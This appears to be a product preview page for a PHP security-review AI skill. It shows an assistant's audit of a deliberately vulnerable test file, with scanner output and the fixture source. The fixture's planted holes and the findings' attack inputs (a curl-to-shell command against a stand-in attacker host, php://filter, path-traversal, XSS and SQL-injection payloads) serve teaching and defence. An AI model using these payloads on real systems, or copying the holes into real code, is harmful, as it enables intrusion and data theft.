← PHPGuru AI Skills: Developer PackPreview, not a live tool: a real result, shown as the assistant wrote it.

What the security skill produces

On 23 October 2026 an AI assistant was given one request, "Review this PHP project for security; production runs PHP 8.2.34", and the pack's reviewing-php-security skill. The project was a 34-line sample file with planted flaws. Below: the sample file, the scanner's first pass, and the report the assistant wrote by following the skill, unedited. Since that run the scanner gained one rule (database passwords written into the connect call), so it now prints 29 leads where the report mentions 28; the assistant had found that issue by reading the code.

The reportScanner outputThe sample fileThe skill fileGet the pack, ₹199

Security review: vulnerable.php

Scope: one file, tests/fixtures/vulnerable.php (34 lines), treated as the whole project. Production PHP version as stated by you: 8.2.34. Reviewed 2026-10-23 by reading every line, with scripts/scan_php.py as a first pass (28 leads, each checked in context). The file's own comment says it is a deliberately insecure sample; it was reviewed as if it were production code, as asked. Not reviewed: php.ini and web-server configuration (output_buffering, display_errors, allow_url_fopen, whether uploads/ and files/ are web-served), MySQL privileges beyond what line 3 implies (the app connects as root), the database schema, whatever include($_GET['page'] . '.php') would pull in, and any HTML/JavaScript beyond the form tag on line 11. No other project files exist. Runtime: PHP 8.2.34 — below the fixed version (8.2.35) for CVE-2026-109618 / CVE-2026-109619 ("PHP2Shell", 21 Oct 2026), see "Update PHP". The 8.2 branch also leaves security support on 31 Dec 2026.

Reachability note (affects 11 of the findings below). On PHP 8.0 and later, parse_str() requires its second argument, so line 19 throws ArgumentCountError: parse_str() expects exactly 2 arguments, 1 given on every request (confirmed with php -r on a local 8.5 build; the change is in the PHP 8.0 migration guide). Lines 1–18 run, the script dies at line 19, and lines 20–34 never execute on your 8.2 runtime. Those findings are marked "unreachable until line 19 is fixed". They are one obvious bug-fix away from going live, so fix them before (or together with) line 19.

Summary

#SeverityIssueWhere
1CriticalPHP 8.2.34 is below the fixed build for an unauthenticated RCE advisoryserver runtime
2CriticalRemote code execution: eval() on POST datavulnerable.php:13
3CriticalOS command injection in the ping callvulnerable.php:14
4CriticalLocal file inclusion → code execution and source disclosurevulnerable.php:16
5CriticalSQL injection in the user and order queriesvulnerable.php:5, :6
6CriticalUnrestricted file upload → web shell (unreachable until line 19 is fixed)vulnerable.php:23–24
7HighRequest data overwrites any variable; parse_str() crashes the script on PHP 8vulnerable.php:18–19
8HighUnsafe deserialization of a cookievulnerable.php:17
9HighPath traversal in file read (unreachable until line 19 is fixed)vulnerable.php:25
10HighLogin compares plain-text passwords (unreachable until line 19 is fixed)vulnerable.php:32
11MediumReflected XSS in three outputsvulnerable.php:8, :9, :11
12MediumHardcoded credentials and a root database accountvulnerable.php:3, :28, :29
13MediumOpen redirect (unreachable until line 19 is fixed)vulnerable.php:22
14MediumSSRF / arbitrary file read via user-supplied URL (unreachable until line 19 is fixed)vulnerable.php:26
15MediumPasswords hashed with MD5 (unreachable until line 19 is fixed)vulnerable.php:20
16MediumPredictable security token (unreachable until line 19 is fixed)vulnerable.php:21
17MediumSecret compared with == (unreachable until line 19 is fixed)vulnerable.php:27
18MediumState-changing action over GET, no CSRF token anywhere (unreachable until line 19 is fixed)vulnerable.php:31, form :11
19Lowdisplay_errors switched on in code (unreachable until line 19 is fixed)vulnerable.php:30
20LowSession fixation; session started after output (unreachable until line 19 is fixed)vulnerable.php:33–34

Fix order: 1 first (a hosting-panel change, independent of the code). Then 2, 3, 4, 5, 7, 8, 11, 12 — these are live today. Then 6, 9, 10 and 13–20 *before* you make line 19 work, because fixing line 19 alone switches all of them on. Roughly half a day of code changes for this file; the only schema change is a password_hash VARCHAR(255) column for finding 10/15.

Findings

1. Critical: PHP 8.2.34 is below the fixed build for an unauthenticated RCE advisory

Where: production server (PHP 8.2.34, as stated) Input → sink: not code-level — any HTTP request to the PHP SAPI, before this file runs Why it matters: The skill's advisory list (references/php-versions.md, last updated 2026-10-23, i.e. today) records CVE-2026-109618 and CVE-2026-109619 ("PHP2Shell", disclosed 21 Oct 2026): two memory-handling flaws giving unauthenticated remote code execution with the web server's privileges before any application code runs, CVSS 9.2, affecting PHP-FPM, mod_php, php-cgi, LiteSpeed and FrankenPHP, with exploitation attempts reported within a day. Fixed in 8.5.12, 8.4.27, 8.3.36 and 8.2.35; 8.2.34 is one patch release short. The published workarounds are described as incomplete; only updating fixes it. Everything else in this report matters less until this is done. Evidence: version 8.2.34 as reported by you (not independently measured). Fix: see "Update PHP" at the end of this report. Because the advisory is two days old and I cannot verify it from here, confirm the fixed version numbers on https://www.php.net/downloads.php before and after the update.

2. Critical: remote code execution through eval()

Where: vulnerable.php:13 Input → sink: $_POST['code'] → passed unchanged → eval() Why it matters: Anyone who can POST to this page runs arbitrary PHP as the web-server user: read config files, dump the database, write a web shell. Nothing authenticates the request first (session_start() only happens on line 33, and the login check on line 34 is empty). Evidence:

eval($_POST['code']);

Fix: delete the line; there is no legitimate use of eval() on request data. If the page needs to run an action chosen by the client, map names to functions:

$actions = ['export' => 'export_orders', 'rebuild' => 'rebuild_index'];
$action  = $_POST['action'] ?? '';
if (!isset($actions[$action])) {
    http_response_code(400);
    exit('Unknown action');
}
$actions[$action]();

3. Critical: OS command injection in the ping call

Where: vulnerable.php:14 Input → sink: $_GET['host'] → string concatenation → system() Why it matters: ?host=127.0.0.1;id or ?host=$(curl http://attacker/x.sh|sh) runs any command as the web-server user, output included in the response. Same impact as finding 2. Evidence:

system("ping " . $_GET['host']);

Fix: validate against the two shapes a host can take, then still quote the argument and cap the packet count so the process ends:

$host = $_GET['host'] ?? '';
if (!filter_var($host, FILTER_VALIDATE_IP)
    && !filter_var($host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
    http_response_code(400);
    exit('Invalid host');
}
system('ping -c 4 ' . escapeshellarg($host));

The allow-list is the real control (a valid hostname cannot start with -, so no extra ping options can be smuggled in); escapeshellarg() is the second layer. Better still, do not expose ping to the web at all.

4. Critical: local file inclusion → code execution and source disclosure

Where: vulnerable.php:16 Input → sink: $_GET['page'] → . '.php' → include() Why it matters: ?page=../../some/other/script includes any .php file on disk, and combined with finding 6 (?page=uploads/shell after uploading shell.php) it is a reliable web shell. ?page=php://filter/convert.base64-encode/resource=config returns the source of config.php base64-encoded (the .php suffix is simply appended to the filter's resource), which is how database passwords leak. With allow_url_include = On it becomes remote file inclusion. PHP 8 rejects null bytes in include paths, so the .php suffix cannot be stripped — it does not need to be. Evidence:

include($_GET['page'] . '.php');

Fix: map allowed names to fixed files; never build the path from input:

$pages = [
    'home'    => 'pages/home.php',
    'about'   => 'pages/about.php',
    'contact' => 'pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (!isset($pages[$page])) {
    http_response_code(404);
    exit('Not found');
}
include __DIR__ . '/' . $pages[$page];

5. Critical: SQL injection in the user and order queries

Where: vulnerable.php:5 (via :4) and vulnerable.php:6 Input → sink: $_GET['id'] → $id (line 4) → interpolated, unquoted, into mysqli_query() (line 5); $_POST['ref'] → concatenated inside quotes → $db->query() (line 6) Why it matters: ?id=0 UNION SELECT ... reads any table (including users, whose passwords are plain text per finding 10); ref=' OR 1=1 -- does the same on line 6. Because the connection is root (finding 12) the injection also reaches LOAD_FILE() and SELECT ... INTO OUTFILE, i.e. reading server files and, where secure_file_priv allows, writing a PHP file under the web root — code execution. Line 5's value is unquoted, so mysqli_real_escape_string() would not help there; binding is the only fix. Side effect: on PHP 8.1+ mysqli throws on SQL errors by default, so a malformed id currently ends the script with an uncaught mysqli_sql_exception that displays the query text if display_errors is on (finding 19). Evidence:

$id = $_GET['id'];
$result = mysqli_query($db, "SELECT * FROM users WHERE id = $id");
$r2 = $db->query("SELECT * FROM orders WHERE ref = '" . $_POST['ref'] . "'");

Fix:

$id = (int) ($_GET['id'] ?? 0);
$stmt = $db->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();

$ref  = $_POST['ref'] ?? '';
$stmt = $db->prepare('SELECT * FROM orders WHERE ref = ?');
$stmt->bind_param('s', $ref);
$stmt->execute();
$r2 = $stmt->get_result();

Wrap the database calls in a try { ... } catch (mysqli_sql_exception $e) { error_log($e->getMessage()); http_response_code(500); exit('Database error'); } so SQL errors are logged, not shown.

6. Critical: unrestricted file upload → web shell (unreachable until line 19 is fixed)

Where: vulnerable.php:23–24 Input → sink: $_FILES['f']['name'] (chosen by the client) → 'uploads/' . name → move_uploaded_file(); $_FILES['f']['type'] (also sent by the client) → the only "check", which runs after the file has been stored and has an empty body Why it matters: Upload shell.php with any declared MIME type and it lands in uploads/ next to this script, where the web server executes it: remote code execution. There is no extension allow-list, no real type check, no size limit and no $_FILES['f']['error'] check. PHP strips directory parts from the client file name, so ../ in the name does not traverse, but that is the only thing it strips. Evidence:

move_uploaded_file($_FILES['f']['tmp_name'], 'uploads/' . $_FILES['f']['name']);
if ($_FILES['f']['type'] == 'image/png') { }

Fix: check the error code and size, detect the real type with finfo, generate the stored name yourself, and keep the folder outside the web root:

$f = $_FILES['f'] ?? null;
if (!$f || $f['error'] !== UPLOAD_ERR_OK || $f['size'] > 2 * 1024 * 1024) {
    http_response_code(400);
    exit('Upload failed');
}
$allowed = ['image/png' => 'png', 'image/jpeg' => 'jpg'];
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($f['tmp_name']);
if (!isset($allowed[$mime])) {
    http_response_code(400);
    exit('Only PNG or JPEG images are accepted');
}
$name = bin2hex(random_bytes(16)) . '.' . $allowed[$mime];
$dest = dirname(__DIR__) . '/storage/uploads/' . $name;   // outside the web root
if (!move_uploaded_file($f['tmp_name'], $dest)) {
    http_response_code(500);
    exit('Could not store file');
}

Migration note: delete anything already in uploads/ that is not an image, and if the folder must stay web-accessible, disable PHP execution in it (Apache .htaccess: <FilesMatch "\.(php|phar|phtml|php[0-9])$"> Require all denied </FilesMatch>; nginx: a nested location ~ \.php$ { deny all; } inside location ^~ /uploads/).

7. High: request data overwrites any variable; parse_str() crashes the script on PHP 8

Where: vulnerable.php:18–19 Input → sink: every $_POST key → extract() → a variable of the same name in the page's scope; $_SERVER['QUERY_STRING'] → parse_str() with no result array Why it matters: extract($_POST) lets the client define $row, $user_token, $password, $db and anything else: posting row[password]=x&password=x makes the login comparison on line 32 pass, and user_token=abc with ?token=abc passes the token check on line 27 (both currently unreachable, see below, but that is exactly what this line is for once they are). Line 19 is worse in a different way: on PHP 8.0+ the second argument is mandatory, so it throws ArgumentCountError on every request. On your 8.2.34 runtime the script therefore dies here, which is why findings 6, 9, 10 and 13–20 are unreachable today — and why adding a $query argument without fixing them first would switch them all on. Evidence:

extract($_POST);
parse_str($_SERVER['QUERY_STRING']);

Fix: read the fields the page needs by name, and never create variables from input:

$password = $_POST['password'] ?? '';
$ref      = $_POST['ref'] ?? '';
// ... one line per field the page actually uses

parse_str($_SERVER['QUERY_STRING'] ?? '', $query);   // or simply use $_GET, which is the same data

8. High: unsafe deserialization of a cookie

Where: vulnerable.php:17 Input → sink: $_COOKIE['prefs'] → unserialize() Why it matters: The client chooses the object types and property values that get created. This file defines no classes, so there is no gadget chain to code execution in the project as it stands; the moment any library with a __wakeup/__destruct/__toString gadget is loaded (Monolog, Guzzle, PHPMailer and many others have known chains) it becomes remote code execution, and crafted payloads can already exhaust memory. $data is never used afterwards, so the line can simply go. Evidence:

$data = unserialize($_COOKIE['prefs']);

Fix:

$data = json_decode($_COOKIE['prefs'] ?? '', true, 8) ?: [];
// Only if the stored format cannot change yet:
// $data = unserialize($_COOKIE['prefs'] ?? '', ['allowed_classes' => false, 'max_depth' => 8]);

9. High: path traversal in file read (unreachable until line 19 is fixed)

Where: vulnerable.php:25 Input → sink: $_GET['file'] → 'files/' . ... → file_get_contents() Why it matters: ?file=../../../../etc/passwd or ?file=../config.php reads any file the web-server user can read. In this file $content is never output, so today an attacker gets a blind read (plus a memory-exhaustion crash by naming a huge file); the moment $content is echoed or offered as a download it is full file disclosure, which is why it is rated High rather than Medium. Evidence:

$content = file_get_contents('files/' . $_GET['file']);

Fix: strip the directory part and confirm the resolved path is still inside files/:

$base = realpath(__DIR__ . '/files');
$name = basename($_GET['file'] ?? '');
$path = $name === '' ? false : realpath($base . '/' . $name);
if ($path === false || strpos($path, $base . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(404);
    exit('Not found');
}
$content = file_get_contents($path);

If the set of files is known, an allow-list (['terms.txt', 'privacy.txt']) is simpler and stronger.

10. High: login compares plain-text passwords (unreachable until line 19 is fixed)

Where: vulnerable.php:32 Input → sink: $_POST['password'] → == → $row['password'] Why it matters: A direct comparison only works if the stored password is plain text (or the stored hash is bypassed), so a database leak — made easy by finding 5 — exposes every user's password, usually reused elsewhere. Loose == also type-juggles ("1e3" == "1000" is true on PHP 8). And because $row is never loaded in this file, $row['password'] is null, which == an empty string: an empty password passes the check. With extract() (finding 7) the client can also supply $row itself. Evidence:

if ($_POST['password'] == $row['password']) { }

Fix: load the user with a bound query and verify a password_hash() value:

$email = $_POST['email'] ?? '';
$stmt  = $db->prepare('SELECT id, password_hash FROM users WHERE email = ?');
$stmt->bind_param('s', $email);
$stmt->execute();
$row = $stmt->get_result()->fetch_assoc();

if ($row && password_verify($_POST['password'] ?? '', $row['password_hash'])) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $row['id'];
    if (password_needs_rehash($row['password_hash'], PASSWORD_DEFAULT)) {
        // UPDATE users SET password_hash = ? WHERE id = ?  (bound)
    }
} else {
    exit('Invalid email or password');   // same message for both cases
}

Migration note: add password_hash VARCHAR(255), fill it with password_hash($plain, PASSWORD_DEFAULT) (at next login if only plain text exists, or force a reset), then drop the plain-text column.

11. Medium: reflected XSS in three outputs

Where: vulnerable.php:8, vulnerable.php:9, vulnerable.php:11 Input → sink: $_GET['name'] → echo (line 8); $_REQUEST['msg'] (GET, POST or cookie) → echo (line 9); $_SERVER['PHP_SELF'] (the request path, including anything after the script name) → the form's action attribute (line 11) Why it matters: ?name=<script>...</script> runs attacker JavaScript in a visitor's browser: steal the session cookie (no HttpOnly is set), key-log the login form, fire the CSRF in finding 18. For line 11, requesting /vulnerable.php/"><script>alert(1)</script> lands the payload inside the attribute (Apache passes the extra path segment to PHP by default). Reflected XSS needs a victim to click a link, hence Medium. Evidence:

echo "Hello " . $_GET['name'];
echo $_REQUEST['msg'];
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

Fix:

function e($v) { return htmlspecialchars((string) $v, ENT_QUOTES, 'UTF-8'); }
echo "Hello " . e($_GET['name'] ?? '');
echo e($_POST['msg'] ?? '');          // read the one source you expect, not $_REQUEST
?>
<form action="/vulnerable.php" method="post">

A fixed action URL is simplest; if it must be dynamic use <?= e($_SERVER['SCRIPT_NAME']) ?>, which does not carry path info, and still escape it.

12. Medium: hardcoded credentials and a root database account

Where: vulnerable.php:3, vulnerable.php:28, vulnerable.php:29 Input → sink: none — static secrets in source Why it matters: root/root, DB_PASSWORD and a live-looking API key sit in the code: anyone with the repository, a backup, or source disclosure through findings 4 or 9 has them. Connecting as MySQL root also turns the SQL injection in finding 5 into file read/write on the database host and access to every database on the server. (The scanner flagged lines 28–29 but not line 3; line 3 is the more consequential one.) Evidence:

$db = mysqli_connect('localhost', 'root', 'root', 'shop');
define('DB_PASSWORD', 'S3cretPass');
$api_key = 'sk-live-1234567890';

Fix: load secrets from a file outside the web root (or environment variables) and connect with a least-privilege user:

$config = require dirname(__DIR__) . '/config/secrets.php';   // outside public_html, mode 0600, not in git
$db      = mysqli_connect('localhost', $config['db_user'], $config['db_pass'], 'shop');
$api_key = $config['api_key'];
<?php // config/secrets.php
return [
    'db_user' => 'shop_app',   // GRANT SELECT, INSERT, UPDATE, DELETE ON shop.* TO 'shop_app'@'localhost';
    'db_pass' => '<new password>',
    'api_key' => '<new key>',
];

Migration note: rotate all three values now (they are in the file's history), create the shop_app user, and if DB_PASSWORD is used elsewhere, define() it from $config rather than a literal.

13. Medium: open redirect (unreachable until line 19 is fixed)

Where: vulnerable.php:22 Input → sink: $_GET['next'] → header('Location: ...') Why it matters: ?next=https://evil.example/login sends a user who trusts your domain to a phishing page, and lets attackers bounce through your domain to pass link filters. Header injection via \r\n is not possible here (PHP's header() rejects values containing a newline), so the impact is the redirect only. Note that this header() call comes after the output on lines 8–11; without output buffering it fails with "headers already sent", so move redirects above any output. Evidence:

header('Location: ' . $_GET['next']);

Fix: allow only a local path (one leading /, not // or /\), and stop after redirecting:

$next        = $_GET['next'] ?? '/';
$isLocalPath = $next !== '' && $next[0] === '/' && !in_array($next[1] ?? '', ['/', '\\'], true);
header('Location: ' . ($isLocalPath ? $next : '/'), true, 303);
exit;

14. Medium: SSRF and arbitrary file read via a user-supplied URL (unreachable until line 19 is fixed)

Where: vulnerable.php:26 Input → sink: $_GET['url'] → file_get_contents() Why it matters: The server fetches whatever is named: http://127.0.0.1:8080/admin, cloud metadata at http://169.254.169.254/, or — since nothing forces a URL — local paths such as /etc/passwd and php://filter/.... $remote is never output in this file, so today it is blind (timing-based scans of internal ports, triggering internal GET requests); it becomes High the moment the response is returned to the client. Evidence:

$remote = file_get_contents($_GET['url']);

Fix: allow-list scheme and host, disable redirects, and time out:

$allowedHosts = ['api.example.com'];
$url = $_GET['url'] ?? '';
$p   = parse_url($url);
if (!$p || ($p['scheme'] ?? '') !== 'https' || !in_array($p['host'] ?? '', $allowedHosts, true)) {
    http_response_code(400);
    exit('URL not allowed');
}
$ctx    = stream_context_create(['http' => ['timeout' => 5, 'follow_location' => 0]]);
$remote = file_get_contents($url, false, $ctx);

If arbitrary hosts are genuinely required, resolve the host first and reject private and reserved ranges (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)), and use cURL with CURLOPT_PROTOCOLS limited to HTTPS.

15. Medium: passwords hashed with MD5 (unreachable until line 19 is fixed)

Where: vulnerable.php:20 Input → sink: $_POST['password'] → $password (only via extract() on line 18) → md5() Why it matters: Unsalted MD5 is reversed with rainbow tables or at billions of guesses per second on a GPU; a database leak gives up most passwords in hours. Evidence:

$hash = md5($password);

Fix:

$hash = password_hash($password, PASSWORD_DEFAULT);   // bcrypt, salted; store in VARCHAR(255)

Verify with password_verify() and upgrade old hashes with password_needs_rehash() as shown in finding 10.

16. Medium: predictable security token (unreachable until line 19 is fixed)

Where: vulnerable.php:21 Input → sink: none — the token is generated server-side from guessable values Why it matters: time() is known to the second and rand() is Mt19937 with a 32-bit seed, so the token can be brute-forced offline or predicted from other rand() outputs. If it is a password-reset or CSRF token, that is account takeover. Evidence:

$token = md5(time() . rand());

Fix:

$token = bin2hex(random_bytes(32));

For reset tokens: store hash('sha256', $token) with an expiry, send the raw token once, and compare with hash_equals().

17. Medium: secret compared with == (unreachable until line 19 is fixed)

Where: vulnerable.php:27 Input → sink: $_GET['token'] → == → $user_token Why it matters: == leaks timing and type-juggles numeric strings ("1e3" == "1000" is true on PHP 8). $user_token is never assigned in this file, so it is null and ?token= (empty) passes the check; with extract() (finding 7) the client can set $user_token to anything. Evidence:

if ($user_token == $_GET['token']) { }

Fix:

$expected = $_SESSION['user_token'] ?? '';        // from the session or database, never from the request
$given    = (string) ($_GET['token'] ?? '');
if ($expected === '' || !hash_equals($expected, $given)) {
    http_response_code(403);
    exit('Invalid token');
}

18. Medium: state-changing action over GET, no CSRF token anywhere (unreachable until line 19 is fixed)

Where: vulnerable.php:31 (and the form on :11) Input → sink: $_GET['delete'] → isset() → the delete branch Why it matters: <img src="https://your-site/vulnerable.php?delete=5"> on any page — or the XSS in finding 11 — performs the deletion in a logged-in victim's session. The POST form on line 11 carries no token either, so its handler is just as forgeable. Evidence:

if (isset($_GET['delete'])) { }

Fix: require POST plus a per-session token checked with hash_equals():

// after session_start(), when rendering:
$_SESSION['csrf'] ??= bin2hex(random_bytes(32));
?>
<form action="/vulnerable.php" method="post">
  <input type="hidden" name="csrf" value="<?= e($_SESSION['csrf']) ?>">
  <input type="hidden" name="delete" value="5">
  <button>Delete</button>
</form>
<?php
// when handling:
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete'])) {
    if (empty($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], (string) ($_POST['csrf'] ?? ''))) {
        http_response_code(403);
        exit('Bad CSRF token');
    }
    // perform the delete with a bound query
}

Set session.cookie_samesite = Lax as a second layer (finding 20's fix does this).

19. Low: display_errors switched on in code (unreachable until line 19 is fixed)

Where: vulnerable.php:30 Input → sink: none — configuration Why it matters: Errors reveal full file paths, SQL text and variable names to visitors. This line never runs on PHP 8, but if display_errors is on in php.ini the page already leaks the ArgumentCountError from line 19, the mysqli exception from a bad id on line 5, and "Undefined variable" warnings for $term and $dir (lines 7 and 15) on every request. Evidence:

ini_set('display_errors', 1);

Fix:

ini_set('display_errors', '0');
ini_set('log_errors', '1');
error_reporting(E_ALL);

Better: set display_errors = Off, log_errors = On in php.ini / the hosting panel so it also covers compile-time errors.

20. Low: session fixation; session started after output (unreachable until line 19 is fixed)

Where: vulnerable.php:33–34 Input → sink: $_POST['login'] → the login branch, which never calls session_regenerate_id() Why it matters: A session id planted before login (through a link when session.use_strict_mode is off, or a cookie set via the XSS in finding 11) stays valid after the victim authenticates, so the attacker shares the logged-in session. Separately, session_start() on line 33 runs after output began on line 8; without output buffering the session cookie cannot be sent at all. if ($_POST['login']) also reads an undefined key (warning) on every GET. Evidence:

session_start();
if ($_POST['login']) { }

Fix: start the session at the top of the file with strict mode and cookie flags, and regenerate the id on login:

<?php // first lines of the file, before any output
ini_set('session.use_strict_mode', '1');
session_set_cookie_params(['httponly' => true, 'secure' => true, 'samesite' => 'Lax']);
session_start();
// ...
if (isset($_POST['login'])) {
    // after password_verify() succeeds (finding 10):
    session_regenerate_id(true);
    $_SESSION['user_id'] = $row['id'];
}

Checked and fine

Hardening (lower priority)

Update PHP

PHP 8.2.34 is one release below 8.2.35, which the skill's advisory list (updated 2026-10-23) names as the fix for CVE-2026-109618 / CVE-2026-109619 ("PHP2Shell", disclosed 21 Oct 2026): unauthenticated remote code execution with the web server's privileges before any application code runs, on every web SAPI, with incomplete published workarounds. Update before touching the code.

Scanner output (scripts/scan_php.py, read-only)

The first pass the skill tells the assistant to run and then verify line by line. It only reads files; no network.

scan_php.py: 1 file(s) scanned, 29 lead(s): 5 critical, 6 high, 16 medium, 2 low tests/fixtures/vulnerable.php:5 [critical] SQL injection (sqli-interp) $result = mysqli_query($db, "SELECT * FROM users WHERE id = $id"); -> A variable is interpolated into a double-quoted SQL string. Bind it with a prepared statement. tests/fixtures/vulnerable.php:6 [critical] SQL injection (sqli-concat) $r2 = $db->query("SELECT * FROM orders WHERE ref = '" . $_POST['ref'] . "'"); -> SQL built by concatenation. Bind values with a prepared statement; allow-list table and column names. tests/fixtures/vulnerable.php:13 [critical] Code injection (rce-eval) eval($_POST['code']); -> eval() and create_function() execute strings as code. Remove them, or prove no user input can reach them. tests/fixtures/vulnerable.php:14 [critical] Command injection (cmd-shell) system("ping " . $_GET['host']); -> A shell command built with a variable. Use escapeshellarg() on every argument, or avoid the shell. tests/fixtures/vulnerable.php:16 [critical] File inclusion (include-var) include($_GET['page'] . '.php'); -> include/require with a variable path (local or remote file inclusion). Map allowed names to fixed files. tests/fixtures/vulnerable.php:15 [high] Command injection (cmd-backtick) $out = `ls $dir`; -> The backtick operator runs a shell command. Treat it like shell_exec(). tests/fixtures/vulnerable.php:17 [high] Unsafe deserialization (unserialize) $data = unserialize($_COOKIE['prefs']); -> unserialize() on untrusted data can run code through magic methods. Use JSON, or allowed_classes => false. tests/fixtures/vulnerable.php:18 [high] Variable overwrite (extract-super) extract($_POST); -> extract() on request data lets the client overwrite any variable in scope. tests/fixtures/vulnerable.php:23 [high] File upload (upload-name) move_uploaded_file($_FILES['f']['tmp_name'], 'uploads/' . $_FILES['f']['name']); -> An uploaded file is stored under its original name. Generate the name; allow-list extensions; check the real type with finfo. tests/fixtures/vulnerable.php:25 [high] Path traversal (path-traversal) $content = file_get_contents('files/' . $_GET['file']); -> A file path built from request data. Use basename() plus an allow-list, and reject "..". tests/fixtures/vulnerable.php:32 [high] Plain-text password (plain-password) if ($_POST['password'] == $row['password']) { } -> The submitted password is compared directly, so the stored password is plain text or hashing is bypassed. tests/fixtures/vulnerable.php:3 [medium] Hardcoded secret (secret-connect) $db = mysqli_connect('localhost', 'root', 'root', 'shop'); -> Database user and password written into the connect call. Move them to a config outside the web root (or environment variables) and rotate them. tests/fixtures/vulnerable.php:7 [medium] SQL injection (sqli-sql-var) $sql = "SELECT * FROM items WHERE name LIKE '%$term%'"; -> A query string with interpolated variables. Find where it is executed (critical if it runs with user input) and bind the values instead. tests/fixtures/vulnerable.php:8 [medium] XSS (xss-echo-super) echo "Hello " . $_GET['name']; -> Request data is echoed into the page (reflected XSS: medium; high when the value is stored or the page is an admin page). Escape it: htmlspecialchars($v, ENT_QUOTES, "UTF-8"). tests/fixtures/vulnerable.php:9 [medium] XSS (xss-echo-super) echo $_REQUEST['msg']; -> Request data is echoed into the page (reflected XSS: medium; high when the value is stored or the page is an admin page). Escape it: htmlspecialchars($v, ENT_QUOTES, "UTF-8"). tests/fixtures/vulnerable.php:11 [medium] XSS (xss-echo-super) <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> -> Request data is echoed into the page (reflected XSS: medium; high when the value is stored or the page is an admin page). Escape it: htmlspecialchars($v, ENT_QUOTES, "UTF-8"). tests/fixtures/vulnerable.php:11 [medium] XSS (xss-php-self) <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> -> PHP_SELF can carry injected markup. Use a fixed action URL, or escape it with htmlspecialchars(). tests/fixtures/vulnerable.php:19 [medium] Variable overwrite (parse-str) parse_str($_SERVER['QUERY_STRING']); -> parse_str() without a result array creates variables from the string. Pass a second argument. tests/fixtures/vulnerable.php:20 [medium] Weak password hashing (weak-hash) $hash = md5($password); -> A password hashed with md5/sha1/crypt. Use password_hash() and password_verify(). tests/fixtures/vulnerable.php:21 [medium] Weak randomness (weak-random) $token = md5(time() . rand()); -> A security token from a predictable source. Use random_bytes() or random_int(). tests/fixtures/vulnerable.php:22 [medium] Open redirect (open-redirect) header('Location: ' . $_GET['next']); -> The redirect target comes from the request. Allow only relative paths or an allow-list of hosts. tests/fixtures/vulnerable.php:24 [medium] File upload (upload-type-trust) if ($_FILES['f']['type'] == 'image/png') { } -> $_FILES[...]["type"] is sent by the client. Check the file with finfo_file() instead. tests/fixtures/vulnerable.php:26 [medium] SSRF (ssrf) $remote = file_get_contents($_GET['url']); -> A server-side request to a user-supplied URL. Allow-list hosts and block private addresses. tests/fixtures/vulnerable.php:27 [medium] Timing / type juggling (loose-compare-secret) if ($user_token == $_GET['token']) { } -> A secret compared with ==. Use hash_equals() (constant time, no type juggling). tests/fixtures/vulnerable.php:28 [medium] Hardcoded secret (secret-literal) define('DB_PASSWORD', 'S3cretPass'); -> A credential in source code. Move it to a config file outside the web root or an environment variable, and rotate it. tests/fixtures/vulnerable.php:29 [medium] Hardcoded secret (secret-literal) $api_key = 'sk-live-1234567890'; -> A credential in source code. Move it to a config file outside the web root or an environment variable, and rotate it. tests/fixtures/vulnerable.php:31 [medium] CSRF (csrf-get-action) if (isset($_GET['delete'])) { } -> A state-changing action driven by GET. Require POST with a CSRF token. tests/fixtures/vulnerable.php:30 [low] Information disclosure (display-errors) ini_set('display_errors', 1); -> display_errors is switched on in code. Keep it off in production and log errors instead. tests/fixtures/vulnerable.php:33 [low] Session (session-fixation) (file-level lead: session_start() here, a login in this file, no session_regenerate_id()) -> Login without session_regenerate_id(true): a fixed session id survives authentication. Regenerate it after a successful login. Every lead needs reading in context before it is reported. A clean run is not a clean bill of health.

The sample file (tests/fixtures/vulnerable.php)

Written to contain one flaw per line, for testing. Never deploy it.

<?php // Deliberately insecure sample for testing the scanner. Never deploy this file. $db = mysqli_connect('localhost', 'root', 'root', 'shop'); $id = $_GET['id']; $result = mysqli_query($db, "SELECT * FROM users WHERE id = $id"); $r2 = $db->query("SELECT * FROM orders WHERE ref = '" . $_POST['ref'] . "'"); $sql = "SELECT * FROM items WHERE name LIKE '%$term%'"; echo "Hello " . $_GET['name']; echo $_REQUEST['msg']; ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <?php eval($_POST['code']); system("ping " . $_GET['host']); $out = `ls $dir`; include($_GET['page'] . '.php'); $data = unserialize($_COOKIE['prefs']); extract($_POST); parse_str($_SERVER['QUERY_STRING']); $hash = md5($password); $token = md5(time() . rand()); header('Location: ' . $_GET['next']); move_uploaded_file($_FILES['f']['tmp_name'], 'uploads/' . $_FILES['f']['name']); if ($_FILES['f']['type'] == 'image/png') { } $content = file_get_contents('files/' . $_GET['file']); $remote = file_get_contents($_GET['url']); if ($user_token == $_GET['token']) { } define('DB_PASSWORD', 'S3cretPass'); $api_key = 'sk-live-1234567890'; ini_set('display_errors', 1); if (isset($_GET['delete'])) { } if ($_POST['password'] == $row['password']) { } session_start(); if ($_POST['login']) { }

The skill file (SKILL.md)

What the assistant reads when you ask for a security review. Its reference checklists and the version table load as needed.

name: reviewing-php-security description: Reviews PHP code and its server setup for security flaws — SQL injection, XSS, CSRF, file upload and path traversal, command and code injection, unsafe deserialization, weak password hashing, hardcoded secrets, open redirects — and checks the PHP version against known critical advisories. Produces a prioritised report with file and line references and concrete fixes. Use when the user asks to audit, review or harden PHP code, a PHP project or a PHP website, or asks whether PHP code is safe to deploy. license: Proprietary. See LICENSE.txt in the PHPGuru AI Skills download. metadata: author: PHPGuru (phpguru.store) version: "1.0.0" pack: developer

Reviewing PHP security

Find real, exploitable problems in PHP code and say exactly how to fix each one. Prefer a short report of confirmed issues over a long list of guesses.

Workflow

